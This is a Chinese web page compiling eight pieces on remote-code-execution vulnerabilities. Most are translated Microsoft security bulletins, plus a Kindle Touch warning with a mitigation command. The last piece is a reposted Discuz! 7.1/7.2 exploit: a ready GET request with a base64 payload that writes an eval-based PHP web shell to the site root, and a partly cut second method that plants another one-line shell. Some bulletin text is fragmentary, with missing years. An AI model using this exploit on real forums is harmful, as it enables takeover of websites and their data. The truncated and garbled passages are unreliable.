MSN中允许远程执行代码漏洞软件教程
“鸡腿子”通过精心收集，向本站投稿了8篇MSN中允许远程执行代码漏洞软件教程，以下是小编整理后的MSN中允许远程执行代码漏洞软件教程，欢迎阅读与收藏。
篇1：MSN中允许远程执行代码漏洞软件教程
更新日期： 九月 11,
版本： 1.0
此重要安全更新可消除 MSN Messenger 和 Windows Live Messenger 中公开披露的漏洞， 当用户接受攻击者的网络摄像机或视频聊天邀请时，漏洞可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。 那些帐户被配置为拥有较少系统用户权限的用户比具有管理用户权限的用户受到的影响要小。
使用 MSN Messenger 7.0.0820 或 Windows Live Messenger 8.1 的客户不受此漏洞的影响。
建议。 Microsoft 建议在 Microsoft Windows Service Pack 4 上使用 MSN Messenger 6.2 和 MSN Messenger 7.0 的客户尽早升级到 MSN Messenger 7.0.0820。 在其他受支持的 Windows平台上支持 MSN Messenger 6.2、MSN Messenger 7.0、MSN Messenger 7.5 或 Windows Live Messenger 8.0 的客户应尽早升级到 Windows Live Messenger 8.1。
受影响的软件
操作系统软件最大安全影响综合严重程度等级此更新替代的公告
Microsoft Windows 2000 Service Pack 4
MSN Messenger 6.2
MSN Messenger 7.0
远程执行代码
重要
无
Windows XP Service Pack 2
MSN Messenger 6.2
MSN Messenger 7.0
MSN Messenger 7.5
Windows Messenger 8.0
远程执行代码
重要
无
Windows XP Professional x64 Edition
MSN Messenger 6.2
MSN Messenger 7.0
MSN Messenger 7.5
Windows Messenger 8.0
远程执行代码
重要
无
Windows XP Professional x64 Edition Service Pack 2
MSN Messenger 6.2
MSN Messenger 7.0
MSN Messenger 7.5
Windows Messenger 8.0
远程执行代码
重要
无
Windows Server Service Pack 1 和 Windows Server 2003 Service Pack 2
MSN Messenger 6.2
MSN Messenger 7.0
MSN Messenger 7.5
Windows Messenger 8.0
远程执行代码
重要
无
Windows Server 2003 x64 Edition
MSN Messenger 6.2
MSN Messenger 7.0
MSN Messenger 7.5
Windows Messenger 8.0
远程执行代码
重要
无
Windows Server 2003 x64 Edition Service Pack 2
MSN Messenger 6.2
关 键 字：msn
篇2：MS09006漏洞:Windows内核中允许远程执行代码
摘要
此安全更新可解决 Windows 内核中许多秘密报告的漏洞， 如果用户从一个受影响的系统查看特制的 EMF 或 WMF 图像文件，则最严重的漏洞可能允许远程执行代码，
建议。大多数客户均启用了自动更新，他们不必采取任何操作，因为此安全更新将自动下载并安装。 尚未启用自动更新的客户必须检查更新，并手动安装此更新。
对于管理员、企业安装或者想要手动安装此安全更新的最终用户，Microsoft 建议客户使用更新管理软件立即应用此更新或者利用 Microsoft Update 服务检查更新。
篇3：MS04042：DHCP中存在允许远程执行代码和DoS漏洞
发布日期： 年 12 月 14 日
版本：1.0
摘要
本文档服务对象：使用 Microsoft DHCP Server 服务的客户，
漏洞的影响：远程执行代码
最高严重等级：重要
建议：客户应尽早安装该更新。
安全更新替代：无
注意事项：无
测试过的软件和安全更新下载位置：
受影响的软件：
•Microsoft Windows NT Server 4.0 Service Pack 6a C 下载此更新
•Microsoft Windows NT Server 4.0 终端服务器版 Service Pack 6 C 下载此更新 [英语]
不受影响的软件：
•Microsoft Windows Service Pack 3 和 Microsoft Windows 2000 Service Pack 4
•Microsoft Windows XP Service Pack 1 和 Microsoft Windows XP Service Pack 2
•Microsoft Windows XP 64-Bit Edition Service Pack 1
•Microsoft Windows XP 64-Bit Edition Version
•Microsoft Windows Server 2003
•Microsoft Windows Server 2003 64-Bit Edition
•Microsoft Windows 98、Microsoft Windows 98 Second Edition (SE) 和 Microsoft Windows Millennium Edition (ME)
已对此列表中的软件进行了测试，以确定这些版本是否会受到影响，
其它版本或者不再包括安全更新支持，或者可能不会受到影响。 要确定产品和版本的技术支持生命周期，请访问 Microsoft 产品技术支持生命周期网站。
微软的安全公告:
www.microsoft.com/china/technet/security/bulletin/MS04-042.mspx
（以上链接均连到第三方网站）
摘要：
该更新可消除一些秘密报告的新发现的漏洞。 本公告中的“漏洞详细资料”部分分别对每个漏洞进行了说明。
如果攻击者成功地利用了这些漏洞中最严重的漏洞，就能完全控制受影响的系统，包括：安装程序，查看、更改或删除数据，或者创建拥有完全权限的新帐户。 然而，试图利用这些漏洞将很可能导致 动态主机配置协议 (DHCP) 服务器出现拒绝服务的故障。
我们建议客户应尽早安装该更新。
严重等级和漏洞标识：
漏洞标识安全漏洞的影响Windows NT 4.0
登录漏洞 - CAN-2004-0899
拒绝服务
中等
DHCP 请求漏洞 - CAN-2004-0900
远程执行代码
重要事项
所有漏洞的综合严重程度
重要
修订：
•
V1.0（2004 年 12 月 14 日）：已发布公告
篇4：MS09074:Microsoft Office Project 中如何才允许远程执行代码漏洞
版本：1.0
摘要
此安全更新解决了 Microsoft Office Project 中一个秘密报告的漏洞， 如果用户打开特制的 Project 文件，该漏洞可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。 攻击者可随后安装程序；查看、更改或删除数据；或者创建拥有完全用户权限的新帐户。 那些帐户被配置为拥有较少系统用户权限的用户比具有管理用户权限的用户受到的影响要小。
对于 Microsoft Project 2000 Service Release 1，此安全更新等级为“严重”，对于 Microsoft Project Service Pack 1 和 Microsoft Office Project 2003 Service Pack 3，此安全更新等级为“重要”。
建议。Microsoft 建议用户立即应用此更新。
受影响的软件
Office 软件最大安全影响综合严重等级此更新替代的公告Microsoft Project 2000 Service Release 1
(KB961083)
远程执行代码
严重
MS08-018
Microsoft Project 2002 Service Pack 1
(KB961079)
远程执行代码
重要
MS08-018
Microsoft Office Project 2003 Service Pack 3
(KB961082)
远程执行代码
重要
MS08-018
不受影响的软件
Office 及其他软件Microsoft Project Server 2003 Service Pack 3
Microsoft Office Project Service Pack 1
Microsoft Office Project 2007 Service Pack 2
Microsoft Project Portfolio Server 2007 Service Pack 1
Microsoft Project Portfolio Server 2007 Service Pack 2
Microsoft Project Server 2007 Service Pack 1
Microsoft Project Server 2007 Service Pack 2
微软的安全公告:
www.microsoft.com/china/technet/security/bulletin/MS09-074.mspx
篇5：WordPad中存在可能允许执行代码的漏洞
本文的目标读者：使用 Microsoft Windows 的客户
漏洞的影响：远程执行代码
最高严重等级：重要
建议：客户应尽早安装该更新，
安全更新替代：无
注意事项：无
测试过的软件和安全更新下载位置：
受影响的软件：
•Microsoft Windows NT Server 4.0 Service Pack 6a C 下载此更新
•Microsoft Windows NT Server 4.0 终端服务器版 Service Pack 6 C 下载此更新 [英文]
•Microsoft Windows Service Pack 3 和 Microsoft Windows 2000 Service Pack 4 C 下载此更新
•Microsoft Windows XP Service Pack 1和 Microsoft Windows XP Service Pack 2－下载此更新
•Microsoft Windows XP 64-Bit Edition Service Pack 1 C 下载此更新 [英文]
•Microsoft Windows XP 64 位版本（ 版）C 下载此更新 [英文]
•Microsoft Windows Server 2003 C 下载此更新
•Microsoft Windows Server 2003 64 位版本 C 下载此更新 [英文]
•Microsoft Windows 98、Microsoft Windows 98 Second Edition (SE)、Microsoft Windows Millennium Edition (ME) C 有关这些操作系统的详细信息，请查看本公告的“常见问题解答”部分。
已对此列表中的软件进行了测试，以确定这些版本是否会受到影响。 其它版本或者不再包括安全更新支持，或者可能不会受到影响。 要确定产品和版本的技术支持生命周期，请访问 Microsoft 产品技术支持生命周期网站。
微软的安全公告:
www.microsoft.com/china/technet/security/bulletin/MS04-041.mspx
（以上链接均连到第三方网站）
摘要：
该更新可消除一些秘密报告的新发现的漏洞，
本公告中的“漏洞详细资料”部分分别对每个漏洞进行了说明。
如果用户使用管理权限登录，成功利用这些漏洞的攻击者就可以完全控制受影响的系统，包括可以安装程序；查看、更改或删除数据；或者创建拥有完全权限的新帐户。 其帐户被配置为拥有较少系统权限的用户比具有管理权限的用户受到的威胁要小。 不过，要利用此漏洞，需要进行用户交互。
我们建议客户应尽早安装该更新。
严重等级和漏洞标识：
漏洞标识安全漏洞的影响Windows 98、98 SE、MEWindows NT 4.0Windows 2000Windows XP Service Pack 1Windows Server 2003 和 Windows XP Service Pack 2
表格转换漏洞 - CAN--0571
远程执行代码
不严重
重要事项
重要事项
重要事项
中等
字体转换漏洞 - CAN-2004-0901
远程执行代码
不严重
重要事项
重要事项
重要事项
中等
所有漏洞的综合严重程度
不严重
重要
重要
重要
中等
修订：
•
V1.0（2004 年 12 月 14 日）：已发布公告
篇6：Kindle Touch远程代码执行漏洞漏洞预警
不知道有没有amazon的kindle迷呢？最近国外媒体报道Kindle Touch出现了远程可执行代码漏洞，针对Kindle Touch 5.1.0 版本固件，可以远程执行代码，把/etc/shadow文件发送到指定的web服务器。 漏洞涉及到/usr/lib/libkindleplugin.so插件，Kindle Touch内置的浏览器WebKit会使用该插件。当用户浏览特定的网页时，就会以root权限执行特制的代码。
当前amazon还没有相关补丁。可能会在下一个版本的固件升级中修复，
临时的修复方法可参考：
mntroot rw && mv /usr/lib/browser/plugins/libkindleplugin.so /usr/lib/browser/plugins/libkindleplugin.so.disabled && mntroot ro && killall wafapp 实际上只要有关注Kindle Touch的用户都应该知道，早就有越狱的方法可以直接进入Kindle的root了。各种优化中文字体的方法都建立在越狱基础上。所以这次出现的“远程可执行代码漏洞”更多的是提供多一种另类“远程”越狱方法罢了。而且应该很少用户使用Kindle Touch来浏览网页，因为用户体验不太好。但是，还是需要使用Kindle Touch的用户注意安全。
篇7：微软5月漏洞公告ms06019:exchange中的漏洞可能允许远程执行代码Windows漏洞
发布日期：5月10日
版本：1.0
摘要
本文的目标读者：使用 microsoft exchange 的客户
漏洞的影响：远程执行代码
最高严重等级：严重
建议：用户应立即应用此更新，
安全更新替代：此公告替代以前的安全更新。 有关完整列表，请参阅本公告的“常见问题解答 (faq)”部分。
注意事项：microsoft 知识库文章 916803 介绍了客户在安装此安全更新时可能遇到的当前已知问题。 本文还介绍了这些问题的建议解决办法。 有关详细信息，请参阅 microsoft 知识库文章 916803。
测试过的软件和安全更新下载位置：
受影响的软件：
•带有 年 8 月的 exchange post-service pack 2000 更新汇总的 microsoft exchange server 2000(870540) C 下载此更新
•microsoft exchange server service pack 1 C 下载此更新
•microsoft exchange server 2003 service pack 2 C 下载此更新
不受影响的软件：
已对此列表中的软件进行了测试，以确定是否这些版本会受到影响。 其他版本或者不再包括安全更新支持，或者可能不会受到影响。 要确定产品和版本的技术支持生命周期，请访问 microsoft 产品技术支持生命周期网站。
有关 exchange 2000 server post-service pack 3 更新汇总的详细信息，请参阅 microsoft 知识库文章 870540，
微软的安全公告:
www.microsoft.com/china/technet/security/bulletin/ms06-019.mspx
（以上链接均连到第三方网站）
摘要：
此更新可消除一个秘密报告的新发现漏洞。 本公告的“漏洞详细资料”部分中对此漏洞进行了说明。
成功利用此漏洞的攻击者可以完全控制受影响的系统。 攻击者可随后安装程序；查看、更改或删除数据；或者创建拥有完全用户权限的新帐户。
我们建议用户立即应用此更新
严重等级和漏洞标识符：
漏洞标识符漏洞的影响exchange 2000 serverexchange server 2003 service pack 1exchange server 2003 service pack 2exchange 日历漏洞 - cve--0027
远程执行代码
严重
严重
严重
关 键 字：Windows漏洞
篇8：discuz!7.1、7.2远程代码执行漏洞exp
摘自：1943'S BLOG
www.smxiaoqiang.cn/blog/275.html
感谢WJS和冰冷的太阳，老君分析过了，我就不多说了，使用exp的话仅限本机测试，其他用途后果自负！
第一种方法：
先注册个用户然后把
帖子ID，指定一个存在的帖子即可：
chr解码后是：value="${${evalfputs(fopen('forumdata/cache/usergroup','w'),'
里面有个提交地址改下，保存html
打开点提交，会生产forumdata/cache/usergroup_01.php一句话文件，密码是cmd
第二种方法：
直接GET，利用语句：
misc.php?action=imme_binding&response[result]=aa:b&scriptlang[aa][b]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}
在根目录生成C.PHP密码是C
临时修补方法：
在common.inc.php上面加上
$response=$scriptlang=array();
官方发布修补补丁：
www.discuz.net/thread-1537673-1-1.html
【MSN中允许远程执行代码漏洞软件教程】相关文章：
1.PPLive URI处理器LoadModule参数多个代码执行漏洞
文档为doc格式